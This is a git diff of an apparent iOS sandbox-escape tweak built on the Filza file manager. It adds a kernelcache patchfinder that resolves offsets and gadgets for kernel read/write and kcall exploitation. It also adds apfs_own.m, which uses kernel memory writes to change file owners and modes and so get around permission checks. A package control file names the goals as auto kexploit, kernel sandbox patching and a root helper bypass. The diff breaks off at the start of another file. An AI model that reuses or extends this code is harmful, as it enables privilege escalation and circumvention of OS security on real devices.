+ "kernelStruct.thread.machine_CpuDatap", + "kernelStruct.thread.machine_contextData", + "kernelSymbol.mac_label_set", + NULL + } +}; + +XPFSet gSandboxSet = { + .name="sandbox", + .supported=xpf_supported_15up, + .metrics={ + "kernelConstant.nsysent", + "kernelConstant.mach_trap_count", + "kernelSymbol.mach_kobj_count", + NULL, + } +}; + +XPFSet gPhysRWSet = { + .name="physrw", + .supported=xpf_supported_always, + .metrics={ + NULL, + } +}; + +XPFSet gPerfKRWSet = { + .name="perfkrw", + .supported=xpf_supported_1516, + .metrics={ + "kernelSymbol.perfmon_dev_open", + "kernelSymbol.perfmon_devices", + "kernelSymbol.vn_kqfilter", + "kernelSymbol.cdevsw", + NULL + }, +}; + +XPFSet gDevModeSet = { + .name="devmode", + .supported=xpf_supported_16up, + .metrics={ + "kernelSymbol.developer_mode_enabled", + NULL + }, +}; + +XPFSet gArm64KcallSet = { + .name="arm64kcall", + .supported=xpf_arm64_kcall_supported, + .metrics={ + "kernelSymbol.exception_return", + "kernelGadget.kcall_return", + "kernelGadget.str_x8_x0", + "kernelStruct.thread.machine_CpuDatap", + "kernelStruct.thread.machine_kstackptr", + "kernelStruct.thread.machine_contextData", + NULL + }, +}; + +XPFSet gTrigonSet = { + .name="trigon", + .supported=xpf_trigon_supported, + .metrics={ + "kernelSymbol.iorvbar", + NULL + } +}; + +XPFSet *gSets[] = { + &gBaseSet, + &gTranslationSet, + &gSandboxSet, + &gPhysmapSet, + &gStructSet, + &gTrustcache15Set, + &gTrustcache16Set, + &gBadRecoverySet, + &gPhysRWSet, + &gPerfKRWSet, + &gDevModeSet, + &gArm64KcallSet, + &gTrigonSet, +}; + +XPF gXPF = { 0 }; + +PFSection *xpf_pfsec_init(const char *filesetEntryId, const char *segName, const char *sectName) +{ + PFSection *section = pfsec_init_from_macho(gXPF.kernel, gXPF.kernelIsFileset ? filesetEntryId : NULL, segName, sectName); + if (section) { + pfsec_set_cached(section, true); + pfsec_set_pointer_decoder(section, xpfsec_decode_pointer); + } + return section; +} + +int xpf_start_with_kernel_path(const char *kernelPath) +{ + gXPF.kernelFd = open(kernelPath, O_RDONLY); + if (gXPF.kernelFd < 0) { + xpf_set_error("Failed to open kernelcache"); + return -1; + } + + struct stat s; + fstat(gXPF.kernelFd, &s); + gXPF.kernelSize = s.st_size; + gXPF.mappedKernel = mmap(NULL, gXPF.kernelSize, PROT_READ, MAP_PRIVATE, gXPF.kernelFd, 0); + if (gXPF.mappedKernel == MAP_FAILED) { + xpf_set_error("Failed to map kernelcache"); + return -1; + } + + MemoryStream *stream = NULL; + if (LITTLE_TO_HOST(*(uint32_t *)(gXPF.mappedKernel)) == MH_MAGIC_64 + || (*(uint32_t *)(gXPF.mappedKernel)) == FAT_CIGAM) { + stream = buffered_stream_init_from_buffer_nocopy(gXPF.mappedKernel, gXPF.kernelSize, 0); + } + else { + gXPF.decompressedKernel = kdecompress(gXPF.mappedKernel, gXPF.kernelSize, &gXPF.decompressedKernelSize); + if (gXPF.decompressedKernel) { + stream = buffered_stream_init_from_buffer_nocopy(gXPF.decompressedKernel, gXPF.decompressedKernelSize, 0); + } + } + + Fat *candidate = fat_init_from_memory_stream(stream); + if (!candidate) { + xpf_set_error("Failed to load kernel macho"); + return -1; + } + + MachO *machoCandidate = NULL; + gXPF.kernelIsArm64e = false; + machoCandidate = fat_find_slice(candidate, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64_ALL); + if (!machoCandidate) { + gXPF.kernelIsArm64e = true; + machoCandidate = fat_find_slice(candidate, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64E); + if (!machoCandidate) { + machoCandidate = fat_find_slice(candidate, CPU_TYPE_ARM64, 0xC0000002); + } + } + if (!machoCandidate) { + xpf_set_error("Failed to load kernel macho"); + return -1; + } + + // check if SPTM devices or not + + gXPF.kernelContainer = candidate; + gXPF.kernel = machoCandidate; + gXPF.kernelIsFileset = macho_get_filetype(gXPF.kernel) == MH_FILESET; + + gXPF.kernelTextSection = xpf_pfsec_init("com.apple.kernel", "__TEXT_EXEC", "__text"); + gXPF.kernelPinstSection = xpf_pfsec_init("com.apple.kernel", "__LAST", "__pinst"); + + // check if SPTM devices or not + gXPF.kernelPPLTextSection = xpf_pfsec_init("com.apple.kernel", "__PPLTEXT", "__text"); + if(gXPF.kernelIsArm64e == true && gXPF.kernelPPLTextSection == NULL) + gXPF.isSPTMDevice = true; + + gXPF.kernelStringSection = xpf_pfsec_init("com.apple.kernel", "__TEXT", "__cstring"); + gXPF.kernelConstSection = xpf_pfsec_init("com.apple.kernel", "__TEXT", "__const"); + gXPF.kernelDataConstSection = xpf_pfsec_init("com.apple.kernel", "__DATA_CONST", "__const"); + gXPF.kernelDataSection = xpf_pfsec_init("com.apple.kernel", "__DATA", "__data"); + gXPF.kernelOSLogSection = xpf_pfsec_init("com.apple.kernel", "__TEXT", "__os_log"); + gXPF.kernelBootdataInit = xpf_pfsec_init("com.apple.kernel", "__BOOTDATA", "__init"); + + if (gXPF.kernelIsFileset) { + gXPF.kernelAMFITextSection = xpf_pfsec_init("com.apple.driver.AppleMobileFileIntegrity", "__TEXT_EXEC", "__text"); + gXPF.kernelAMFIStringSection = xpf_pfsec_init("com.apple.driver.AppleMobileFileIntegrity", "__TEXT", "__cstring"); + gXPF.kernelSandboxTextSection = xpf_pfsec_init("com.apple.security.sandbox", "__TEXT_EXEC", "__text"); + gXPF.kernelSandboxStringSection = xpf_pfsec_init("com.apple.security.sandbox", "__TEXT", "__cstring"); + gXPF.kernelInfoPlistSection = xpf_pfsec_init("com.apple.security.AppleImage4", "__TEXT", "__info_plist"); + } + else { + gXPF.kernelPrelinkTextSection = xpf_pfsec_init(NULL, "__PRELINK_TEXT", "__text"); + gXPF.kernelPLKTextSection = xpf_pfsec_init(NULL, "__PLK_TEXT_EXEC", "__text"); + gXPF.kernelKmodInfoSection = xpf_pfsec_init(NULL, "__PRELINK_INFO", "__kmod_info"); + gXPF.kernelPrelinkInfoSection = xpf_pfsec_init(NULL, "__PRELINK_INFO", "__info"); + } + + gXPF.kernelBase = macho_get_base_address(gXPF.kernel); + gXPF.kernelEntry = 0; + macho_enumerate_load_commands(gXPF.kernel, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_UNIXTHREAD) { + uint8_t *cmdData = ((uint8_t *)cmd + sizeof(struct thread_command)); + uint8_t *cmdDataEnd = ((uint8_t *)cmd + loadCommand.cmdsize); + + while (cmdData < cmdDataEnd) { + uint32_t flavor = LITTLE_TO_HOST(*(uint32_t *)cmdData); + uint32_t count = LITTLE_TO_HOST(*(uint32_t *)(cmdData + 4)); + if (flavor == ARM_THREAD_STATE64) { + arm_thread_state64_t *threadState = (arm_thread_state64_t *)(cmdData + 8); +#ifdef __arm64e__ + gXPF.kernelEntry = LITTLE_TO_HOST((uint64_t)threadState->__opaque_pc); +#else + gXPF.kernelEntry = LITTLE_TO_HOST((uint64_t)threadState->__pc); +#endif + } + cmdData += (8 + count); + } + *stop = true; + } + }); + + if (gXPF.kernelBase == UINT64_MAX) { + xpf_set_error("Failed to find kernel base"); + return -1; + } + if (!gXPF.kernelEntry) { + xpf_set_error("Failed to find kernel entry point"); + return -1; + } + + const char *versionSearchString = "Darwin Kernel Version "; + PFPatternMetric *versionMetric = pfmetric_pattern_init((void *)versionSearchString, NULL, strlen(versionSearchString), sizeof(uint8_t)); + pfmetric_run(gXPF.kernelConstSection, versionMetric, ^(uint64_t vmaddr, bool *stop) { + int r = pfsec_read_string(gXPF.kernelConstSection, vmaddr, &gXPF.kernelVersionString); + *stop = true; + }); + pfmetric_free(versionMetric); + + if (gXPF.kernelInfoPlistSection) { + const char *infoPlistString = ""; + PFPatternMetric *infoPlistMetric = pfmetric_pattern_init((void *)infoPlistString, NULL, strlen(infoPlistString), sizeof(uint8_t)); + pfmetric_run(gXPF.kernelInfoPlistSection, infoPlistMetric, ^(uint64_t vmaddr, bool *stop) { + int r = pfsec_read_string(gXPF.kernelInfoPlistSection, vmaddr, &gXPF.kernelInfoPlist); + *stop = true; + }); + pfmetric_free(infoPlistMetric); + } + + if (!gXPF.kernelVersionString) { + xpf_set_error("Failed to find kernel version"); + return -1; + } + else { + char darwinVersion[100]; + char xnuBuild[100]; + char xnuPlatform[100]; + sscanf(gXPF.kernelVersionString, "Darwin Kernel Version %[^:]: %*[^;]; root:xnu-%[^/]/%s", darwinVersion, xnuBuild, xnuPlatform); + gXPF.darwinVersion = strdup(darwinVersion); + gXPF.xnuBuild = strdup(xnuBuild); + gXPF.xnuPlatform = strdup(xnuPlatform); + + if (gXPF.kernelInfoPlistSection) { + char osVersion[100]; + const char *DTPlatformVersion = strstr(gXPF.kernelInfoPlist, "DTPlatformVersion"); + sscanf(DTPlatformVersion, "DTPlatformVersion\t%9[^<]", osVersion); + gXPF.osVersion = strdup(osVersion); + } + } + + xpf_ppl_init(); + xpf_non_ppl_init(); + xpf_common_init(); + xpf_bad_recovery_init(); + + return 0; +} + +void xpf_item_register(const char *name, void *finder, void *ctx) +{ + XPFItem *newItem = malloc(sizeof(XPFItem)); + memset(newItem, 0x0, sizeof(XPFItem)); + newItem->name = name; + newItem->ctx = ctx; + newItem->finder = finder; + newItem->cache = 0; + newItem->cached = false; + + XPFItem *lastItem = NULL; + XPFItem *item = gXPF.firstItem; + while (item) { + lastItem = item; + item = item->nextItem; + } + if (!lastItem) { + gXPF.firstItem = newItem; + } + else { + lastItem->nextItem = newItem; + } +} + +uint64_t xpf_item_resolve(const char *name) +{ + XPFItem *item = gXPF.firstItem; + while (item) { + if (!strcmp(item->name, name)) { + if (!item->cached) { + item->cache = item->finder(item->ctx); + item->cached = true; + } + return item->cache; + } + item = item->nextItem; + } + return 0; +} + +void xpf_print_all_items(void) +{ + XPFItem *item = gXPF.firstItem; + while (item) { + printf("0x%016llx <- %s\n", xpf_item_resolve(item->name), item->name); + item = item->nextItem; + } +} + +uint64_t xpfsec_decode_pointer(PFSection *section, uint64_t vmaddr, uint64_t value) +{ + if ((value & 0xffff000000000000) != 0xffff000000000000) { + // Chained fixups, other stuff + value &= 0x00000000ffffffff; + value += gXPF.kernelBase; + } + return value; +} + +XPFSet *xpf_find_set(const char *name, bool *foundUnsupported) +{ + uint32_t setCount = (sizeof(gSets)/sizeof(XPFSet*)); + for (int i = 0; i < setCount; i++) { + if (!strcmp(gSets[i]->name, name)) { + if (!gSets[i]->supported()) { + if (foundUnsupported) *foundUnsupported = true; + continue; + } + return gSets[i]; + } + } + return false; +} + +bool xpf_set_is_supported(const char *name) +{ + XPFSet *set = xpf_find_set(name, NULL); + return set != NULL; +} + +int xpf_offset_dictionary_add_set(xpc_object_t xdict, XPFSet *set) +{ + if (!set->supported()) { + return -1; + } + + for (int i = 0; set->metrics[i]; i++) { + uint64_t resolved = xpf_item_resolve(set->metrics[i]); + if (resolved) { + xpc_dictionary_set_uint64(xdict, set->metrics[i], resolved); + } + else { + const char *existingError = xpf_get_error(); + if (existingError) { + xpf_set_error("Set \"%s\" failed on \"%s\" (%s)", set->name, set->metrics[i], existingError); + } + else { + xpf_set_error("Set \"%s\" failed on \"%s\"", set->name, set->metrics[i]); + } + return -1; + } + } + return 0; +} + +xpc_object_t xpf_construct_offset_dictionary(const char *sets[]) +{ + xpc_object_t offsetDictionary = xpc_dictionary_create_empty(); + + if (xpf_offset_dictionary_add_set(offsetDictionary, &gBaseSet) != 0) return NULL; + + uint32_t setCount = (sizeof(gSets)/sizeof(XPFSet*)); + + for (int i = 0; sets[i]; i++) { + bool foundUnsupported = false; + XPFSet *set = xpf_find_set(sets[i], &foundUnsupported); + if (set) { + int r = xpf_offset_dictionary_add_set(offsetDictionary, set); + if (r != 0) { + xpc_release(offsetDictionary); + return NULL; + } + } + else if (foundUnsupported) { + xpf_set_error("Set \"%s\" is unsupported by this device", sets[i]); + xpc_release(offsetDictionary); + return NULL; + } + else { + xpf_set_error("Failed to find set \"%s\"", sets[i]); + xpc_release(offsetDictionary); + return NULL; + } + } + + return offsetDictionary; +} + +static char *gXPFError; + +void xpf_set_error(const char *error, ...) +{ + char *newError = NULL; + va_list va; + va_start(va, error); + vasprintf(&newError, error, va); + va_end(va); + + if (gXPFError) { + free(gXPFError); + } + gXPFError = newError; +} + +const char *xpf_get_error(void) +{ + return gXPFError; +} + +void xpf_stop(void) +{ + if (gXPF.mappedKernel) { + munmap(gXPF.mappedKernel, gXPF.kernelSize); + } + if (gXPF.decompressedKernel) { + free(gXPF.decompressedKernel); + } + if (gXPF.kernelFd >= 0) { + close(gXPF.kernelFd); + } + + if (gXPF.kernelTextSection) pfsec_free(gXPF.kernelTextSection); + if (gXPF.kernelPPLTextSection) pfsec_free(gXPF.kernelPPLTextSection); + if (gXPF.kernelStringSection) pfsec_free(gXPF.kernelStringSection); + if (gXPF.kernelConstSection) pfsec_free(gXPF.kernelConstSection); + if (gXPF.kernelDataConstSection) pfsec_free(gXPF.kernelDataConstSection); + if (gXPF.kernelDataSection) pfsec_free(gXPF.kernelDataSection); + if (gXPF.kernelOSLogSection) pfsec_free(gXPF.kernelOSLogSection); + if (gXPF.kernelAMFITextSection) pfsec_free(gXPF.kernelAMFITextSection); + if (gXPF.kernelAMFIStringSection) pfsec_free(gXPF.kernelAMFIStringSection); + if (gXPF.kernelSandboxTextSection) pfsec_free(gXPF.kernelSandboxTextSection); + if (gXPF.kernelSandboxStringSection) pfsec_free(gXPF.kernelSandboxStringSection); + if (gXPF.kernelPrelinkTextSection) pfsec_free(gXPF.kernelPrelinkTextSection); + if (gXPF.kernelBootdataInit) pfsec_free(gXPF.kernelBootdataInit); + if (gXPF.kernelPLKTextSection) pfsec_free(gXPF.kernelPLKTextSection); + if (gXPF.kernelInfoPlistSection) pfsec_free(gXPF.kernelInfoPlistSection); + if (gXPF.kernelContainer) fat_free(gXPF.kernelContainer); + + if (gXPF.kernelVersionString) free(gXPF.kernelVersionString); + if (gXPF.darwinVersion) free(gXPF.darwinVersion); + if (gXPF.xnuBuild) free(gXPF.xnuBuild); + if (gXPF.xnuPlatform) free(gXPF.xnuPlatform); + if (gXPF.osVersion) free(gXPF.osVersion); + if (gXPF.kernelInfoPlist) free(gXPF.kernelInfoPlist); + + XPFItem *item = gXPF.firstItem; + while (item) { + XPFItem *curItem = item; + item = item->nextItem; + free(curItem); + } + + gXPF = (struct s_XPF){ 0 }; +} diff --git a/XPF/src/xpf.h b/XPF/src/xpf.h new file mode 100644 index 0000000..ed0e16d --- /dev/null +++ b/XPF/src/xpf.h @@ -0,0 +1,82 @@ +#include + +#include +#include +#include +#include +#include +#include + +typedef struct s_XPFItem { + struct s_XPFItem *nextItem; + const char *name; + uint64_t (*finder)(void *); + void *ctx; + bool cached; + uint64_t cache; +} XPFItem; + +typedef struct s_XPFSet { + const char *name; + bool (*supported)(void); + const char *metrics[]; +} XPFSet; + +#define XPF_ASSERT(assert) if (!(assert)) { if (!xpf_get_error()) { xpf_set_error("[%s:%d] Failed assert in %s: %s", __FILE__, __LINE__, __FUNCTION__, #assert); } return 0; } + +int xpf_start_with_kernel_path(const char *kernelPath); +void xpf_item_register(const char *name, void *finder, void *ctx); +uint64_t xpf_item_resolve(const char *name); +uint64_t xpfsec_decode_pointer(PFSection *section, uint64_t vmaddr, uint64_t value); +bool xpf_set_is_supported(const char *name); +int xpf_offset_dictionary_add_set(xpc_object_t xdict, XPFSet *set); +xpc_object_t xpf_construct_offset_dictionary(const char *sets[]); +void xpf_set_error(const char *error, ...); +const char *xpf_get_error(void); +void xpf_print_all_items(void); +void xpf_stop(void); + +typedef struct s_XPF { + int kernelFd; + void *mappedKernel; + size_t kernelSize; + void *decompressedKernel; + size_t decompressedKernelSize; + + Fat *kernelContainer; + MachO *kernel; + bool kernelIsFileset; + bool kernelIsArm64e; + bool isSPTMDevice; + char *kernelVersionString; + char *kernelInfoPlist; + char *darwinVersion; + char *xnuBuild; + char *xnuPlatform; + char *osVersion; + + uint64_t kernelBase; + uint64_t kernelEntry; + + PFSection *kernelTextSection; + PFSection *kernelPinstSection; + PFSection *kernelPPLTextSection; + PFSection *kernelStringSection; + PFSection *kernelConstSection; + PFSection *kernelDataConstSection; + PFSection *kernelDataSection; + PFSection *kernelOSLogSection; + PFSection *kernelPrelinkTextSection; + PFSection *kernelPLKTextSection; + PFSection *kernelKmodInfoSection; + PFSection *kernelPrelinkInfoSection; + PFSection *kernelBootdataInit; + PFSection *kernelAMFITextSection; + PFSection *kernelAMFIStringSection; + PFSection *kernelSandboxTextSection; + PFSection *kernelSandboxStringSection; + PFSection *kernelInfoPlistSection; + + XPFItem *firstItem; +} XPF; +extern XPF gXPF; diff --git a/apfs_own.h b/apfs_own.h new file mode 100644 index 0000000..8837a72 --- /dev/null +++ b/apfs_own.h @@ -0,0 +1,27 @@ +#ifndef apfs_own_h +#define apfs_own_h + +#include +#include + +// Change a file's owner (uid/gid) by directly writing apfs_fsnode in +// kernel memory. Works regardless of current process uid — bypasses the +// need for true uid=0. Returns 0 on success, -1 on failure. +// Ported from lara/kexploit/pe/apfs.m. +int apfs_own(const char *path, uid_t uid, gid_t gid); + +// Change a file's mode. Same mechanism as apfs_own. Returns 0/-1. +int apfs_mod(const char *path, mode_t mode); + +// Read current on-disk values via kernel memory (sanity-check helpers). +uint32_t apfs_getuid_kr(const char *path); +uint32_t apfs_getgid_kr(const char *path); +uint16_t apfs_getmode_kr(const char *path); + +// Recursively chown every file/dir under `root` to (uid, gid). Uses lstat so +// symlinks are chown'd themselves, not followed. Skips per-entry sync/stat +// for speed; one sync at the end. Returns number of entries successfully +// chown'd. +long apfs_own_tree(const char *root, uid_t uid, gid_t gid); + +#endif /* apfs_own_h */ diff --git a/apfs_own.m b/apfs_own.m new file mode 100644 index 0000000..75db712 --- /dev/null +++ b/apfs_own.m @@ -0,0 +1,340 @@ +/* + * apfs_own.m — 1:1 port of lara/kexploit/pe/apfs.m + * + * Walk: fd -> self_proc->p_fd->fd_ofiles[fd] -> fileproc->fp_glob + * -> fileglob->fg_data (vnode) -> v_data (apfs_fsnode) + * Then modify apfs_fsnode.uid / gid / mode directly in kernel memory. + * + * apfs_fsnode lives in a regular writable zone (not ZC_READONLY / PPL), + * so socket-based kR/W works on iOS 17.0 through 26.x — unlike the + * ucred/proc_ro writes which are blocked. + */ + +#import +#include +#include +#include +#include +#include +#include +#include + +#include "apfs_own.h" +#include "kexploit/kutils.h" +#include "kexploit/krw.h" +#include "kexploit/offsets.h" +#include "kexploit/xpaci.h" +#include "kexploit/vnode.h" + +// Verbatim from lara/kexploit/pe/apfs.m. We only touch uid/gid/mode, but +// keeping the full layout so offsetof() stays correct if lara updates it. +struct apfs_fsnode { + uint8_t type; + uint8_t _type_pad[7]; + uint64_t ino; + + union { + uint64_t jhash_prev; + struct { + uint32_t _jhash_prev_lo; + uint16_t xattr_count; + uint16_t xattr_flags; + }; + }; + + uint64_t jhash_next; + + union { + uint64_t parent_ino_or_owner_vnode; + struct { + uint32_t parent_ino_lo; + uint16_t parent_sub; + uint16_t _parent_pad; + }; + }; + + uint32_t nstream_id; + + union { + uint32_t internal_flags; + struct { + uint8_t reclaim_flag; + uint8_t busy_flag; + uint16_t internal_flags_hi; + }; + }; + + void *jhash_gate; + + union { + uint64_t internal_link; + struct { + uint8_t _link_base; + uint8_t snap_rename_flag; + uint16_t _link_pad; + uint32_t snap_mount_state; + }; + }; + + uint64_t graft_state; + uint64_t snap_state; + uint64_t fake_getattr_data; + uint64_t mnomap_data; + uint64_t cleanup_data; + + union { + uint64_t crypto_state; + struct { + uint8_t _crypto_base; + uint8_t crypto_class; + uint8_t crypto_flags; + uint8_t _crypto_pad; + uint32_t crypto_extra; + }; + }; + + uint32_t bsd_flags; + uint32_t gen_flags; + uint64_t mmap_state; + uid_t uid; + gid_t gid; + uint16_t mode; + uint16_t open_refcnt; + uint32_t ino_flags_ext; + uint64_t raw_enc_data; +}; + +// Primary: open()-based. Needs read permission on the target, so it can +// hit EACCES on root-owned 0600/0700 files that our sandbox escape doesn't +// bypass (sandbox clears MAC, not DAC). +static uint64_t getvnodefor_open(const char *path) { + int fd = open(path, O_RDONLY); + if (fd == -1) return (uint64_t)-1; + + uint64_t self_proc = proc_self(); + if (!self_proc) { close(fd); return (uint64_t)-1; } + + uint64_t fileprocPtrArr = kread64(self_proc + off_proc_p_fd + off_filedesc_fd_ofiles); + fileprocPtrArr = xpaci(fileprocPtrArr); + if (!fileprocPtrArr) { close(fd); return (uint64_t)-1; } + + uint64_t fileproc = kread64(fileprocPtrArr + (8 * fd)); + if (!fileproc) { close(fd); return (uint64_t)-1; } + + uint64_t fp_glob = kread64(fileproc + off_fileproc_fp_glob); + fp_glob = xpaci(fp_glob); + if (!fp_glob) { close(fd); return (uint64_t)-1; } + + uint64_t vnode = kread64(fp_glob + off_fileglob_fg_data); + vnode = xpaci(vnode); + + close(fd); + return vnode; +} + +// Fallback for directories: chdir-based. Only needs x perm on parent chain, +// not r perm on target. We reset cwd afterwards. +static uint64_t getvnodefor_chdir(const char *path) { + char oldcwd[PATH_MAX]; + if (!getcwd(oldcwd, sizeof(oldcwd))) oldcwd[0] = '\0'; + if (chdir(path) != 0) return (uint64_t)-1; + + uint64_t self_proc = proc_self(); + uint64_t vnode = kread64(self_proc + off_proc_p_fd + off_filedesc_fd_cdir); + vnode = xpaci(vnode); + + if (oldcwd[0]) chdir(oldcwd); + else chdir("/"); + return vnode; +} + +static uint64_t getvnodefor(const char *path) { + uint64_t v = getvnodefor_open(path); + if (v != (uint64_t)-1 && v != 0) return v; + // Fallback: chdir works for directories even when open() fails EACCES. + return getvnodefor_chdir(path); +} + +static uint64_t get_fsnode(const char *path) { + uint64_t vnode = getvnodefor(path); + if (vnode == (uint64_t)-1 || !vnode) return 0; + uint64_t fs_node = kread64(vnode + off_vnode_v_data); + return fs_node; +} + +uint32_t apfs_getuid_kr(const char *path) { + uint64_t fs_node = get_fsnode(path); + if (!fs_node) return 0; + return kread32(fs_node + offsetof(struct apfs_fsnode, uid)); +} + +uint32_t apfs_getgid_kr(const char *path) { + uint64_t fs_node = get_fsnode(path); + if (!fs_node) return 0; + return kread32(fs_node + offsetof(struct apfs_fsnode, gid)); +} + +uint16_t apfs_getmode_kr(const char *path) { + uint64_t fs_node = get_fsnode(path); + if (!fs_node) return 0; + return kread16(fs_node + offsetof(struct apfs_fsnode, mode)); +} + +int apfs_own(const char *path, uid_t uid, gid_t gid) { + uint64_t fs_node = get_fsnode(path); + if (!fs_node) { + NSLog(@"[APFS] own: unable to get fs_node: %s", path); + return -1; + } + + // Sanity check: kernel-read uid must match what stat() reports, or the + // struct layout is wrong and we'd corrupt an unrelated field. + struct stat st_before; + if (stat(path, &st_before) == 0) { + uint32_t kuid = kread32(fs_node + offsetof(struct apfs_fsnode, uid)); + if (kuid != st_before.st_uid) { + NSLog(@"[APFS] own: layout mismatch for %s (stat uid=%u, kernel uid=%u); aborting", + path, st_before.st_uid, kuid); + return -1; + } + } + + kwrite32(fs_node + offsetof(struct apfs_fsnode, uid), uid); + kwrite32(fs_node + offsetof(struct apfs_fsnode, gid), gid); + + sync(); sync(); sync(); + + struct stat st; + if (stat(path, &st) != 0) { + NSLog(@"[APFS] own: stat() failed after write: %s", path); + return -1; + } + if (st.st_uid != uid || st.st_gid != gid) { + NSLog(@"[APFS] own: verify failed (got uid=%u gid=%u, expected %u/%u): %s", + st.st_uid, st.st_gid, uid, gid, path); + return -1; + } + + NSLog(@"[APFS] own: %s -> uid=%u gid=%u", path, uid, gid); + return 0; +} + +// Fast path: skip per-entry sync/stat verify. Used by the bulk tree walker. +// Returns 0 on success (readback matched), -1 on failure. +static int apfs_own_unsafe(const char *path, uid_t uid, gid_t gid, + uint32_t *out_before_uid) { + uint64_t fs_node = get_fsnode(path); + if (!fs_node) return -1; + + uint32_t before = kread32(fs_node + offsetof(struct apfs_fsnode, uid)); + if (out_before_uid) *out_before_uid = before; + + kwrite32(fs_node + offsetof(struct apfs_fsnode, uid), uid); + kwrite32(fs_node + offsetof(struct apfs_fsnode, gid), gid); + + // Kernel-side read-back: if the write didn't take, we haven't changed + // anything and the caller should count this as a failure. + uint32_t after = kread32(fs_node + offsetof(struct apfs_fsnode, uid)); + if (after != uid) return -1; + return 0; +} + +// Skip subtrees iOS validates by ownership — chown'ing these breaks codesign +// or FairPlay DRM and can brick the app. +static int is_skip_name(const char *name) { + return strcmp(name, "_CodeSignature") == 0 || + strcmp(name, "SC_Info") == 0; +} + +static long chown_walk(const char *path, uid_t uid, gid_t gid, int depth, + long *skipped_lstat, long *skipped_chown, long *skipped_opendir) { + if (depth > 32) return 0; + + struct stat st; + if (lstat(path, &st) != 0) { (*skipped_lstat)++; return 0; } + if (S_ISLNK(st.st_mode)) return 0; + + long n = 0; + uint32_t before_uid = (uint32_t)-1; + int rc = apfs_own_unsafe(path, uid, gid, &before_uid); + if (rc == 0) { + n++; + // Log first few successful chowns (non-no-op) to prove writes work. + if (before_uid != uid && n <= 5) { + NSLog(@"[APFS] chown'd: %s (uid %u -> %u)", path, before_uid, uid); + } + } else { + (*skipped_chown)++; + if (*skipped_chown <= 5) { + NSLog(@"[APFS] skipped chown: %s (before=%u errno=%d)", + path, before_uid, errno); + } + } + + if (S_ISDIR(st.st_mode)) { + DIR *d = opendir(path); + if (!d) { + (*skipped_opendir)++; + if (*skipped_opendir <= 5) + NSLog(@"[APFS] skipped opendir: %s (errno=%d)", path, errno); + return n; + } + struct dirent *e; + while ((e = readdir(d)) != NULL) { + if (strcmp(e->d_name, ".") == 0 || strcmp(e->d_name, "..") == 0) continue; + if (is_skip_name(e->d_name)) continue; + char child[PATH_MAX]; + int len = snprintf(child, sizeof(child), "%s/%s", path, e->d_name); + if (len <= 0 || len >= (int)sizeof(child)) continue; + n += chown_walk(child, uid, gid, depth + 1, + skipped_lstat, skipped_chown, skipped_opendir); + } + closedir(d); + } + return n; +} + +long apfs_own_tree(const char *root, uid_t uid, gid_t gid) { + NSLog(@"[APFS] own_tree: walking %s -> uid=%u gid=%u", root, uid, gid); + long skipped_lstat = 0, skipped_chown = 0, skipped_opendir = 0; + long n = chown_walk(root, uid, gid, 0, + &skipped_lstat, &skipped_chown, &skipped_opendir); + sync(); sync(); sync(); + NSLog(@"[APFS] own_tree: chown'd %ld entries under %s " + "(skipped: lstat=%ld chown=%ld opendir=%ld)", + n, root, skipped_lstat, skipped_chown, skipped_opendir); + return n; +} + +int apfs_mod(const char *path, mode_t mode) { + uint64_t fs_node = get_fsnode(path); + if (!fs_node) { + NSLog(@"[APFS] mod: unable to get fs_node: %s", path); + return -1; + } + + struct stat st_before; + if (stat(path, &st_before) == 0) { + uint16_t kmode = kread16(fs_node + offsetof(struct apfs_fsnode, mode)); + if (kmode != (st_before.st_mode & 0xFFFF)) { + NSLog(@"[APFS] mod: layout mismatch for %s (stat mode=0%o, kernel=0%o); aborting", + path, st_before.st_mode & 0xFFFF, kmode); + return -1; + } + } + + kwrite16(fs_node + offsetof(struct apfs_fsnode, mode), (uint16_t)mode); + + sync(); sync(); sync(); + + struct stat st; + if (stat(path, &st) != 0) return -1; + if ((st.st_mode & 0xFFFF) != (mode & 0xFFFF)) { + NSLog(@"[APFS] mod: verify failed (got 0%o, expected 0%o): %s", + st.st_mode & 0xFFFF, mode, path); + return -1; + } + + NSLog(@"[APFS] mod: %s -> 0%o", path, mode); + return 0; +} diff --git a/base/README.md b/base/README.md new file mode 100644 index 0000000..aa2063d --- /dev/null +++ b/base/README.md @@ -0,0 +1,18 @@ +# Base IPA + +Place the unsigned Filza 4.0 IPA here before building: + +``` +base/FilzaSlop-v1.2.0-unsigned.ipa +``` + +The build scripts inject `FilzaApplySandboxExt.dylib`, patch the bundle ID and +package the app. The base IPA is not committed because it contains Filza's +original application payload. You can set `BASE_IPA` to any compatible +unsigned Filza IPA instead. + +The developer build also needs an a-Shell IPA for its command frameworks: + +``` +ASHELL_IPA=$HOME/Downloads/Terminal.ipa +``` diff --git a/compat/sys/fileport.h b/compat/sys/fileport.h new file mode 100644 index 0000000..0e4307e --- /dev/null +++ b/compat/sys/fileport.h @@ -0,0 +1,20 @@ +#ifndef FILZA_COMPAT_SYS_FILEPORT_H +#define FILZA_COMPAT_SYS_FILEPORT_H + +#include +#include + +__BEGIN_DECLS + +#ifndef _FILEPORT_T +#define _FILEPORT_T +typedef __darwin_mach_port_t fileport_t; +#define FILEPORT_NULL ((fileport_t)0) +#endif + +int fileport_makeport(int descriptor, fileport_t *port); +int fileport_makefd(fileport_t port); + +__END_DECLS + +#endif diff --git a/control b/control new file mode 100644 index 0000000..05b54ad --- /dev/null +++ b/control @@ -0,0 +1,8 @@ +Package: com.local.filzaescaped +Name: FilzaApplySandboxExt +Version: 2.0.0 +Architecture: iphoneos-arm64 +Description: Filza sandbox escape - auto kexploit + kernel sandbox patching + root helper bypass + zip hooks +Maintainer: local +Author: local +Section: Tweaks diff --git a/fallback_query.h b/fallback_query.h new file mode 100644 index 0000000..f3048af --- /dev/null +++ b/fallback_query.h @@ -0,0 +1,24 @@ +// +// fallback_query.h +// FileQuest +// +// A second container-query primitive used only when worse_query fails. +// The technique is derived from the access path used by Veilpath +// (https://github.com/everettjf/veilpath), which in turn builds on +// forcequitOS/bad_query. This file is part of a GPL-3.0 derivative of +// worse_query and is distributed under the same license. +// + +#ifndef fallback_query_h +#define fallback_query_h + +#import +#include +#include + +/// Anchor the Container Manager query at the system mobilegestaltcache group, +/// set a traversal part domain, and consume the resulting extension. This is +/// intentionally a fallback: worse_query remains the primary engine. +int64_t fallback_query(NSString *target, bool alt_flags); + +#endif /* fallback_query_h */ diff --git a/fallback_query.m b/fallback_query.m new file mode 100644 index 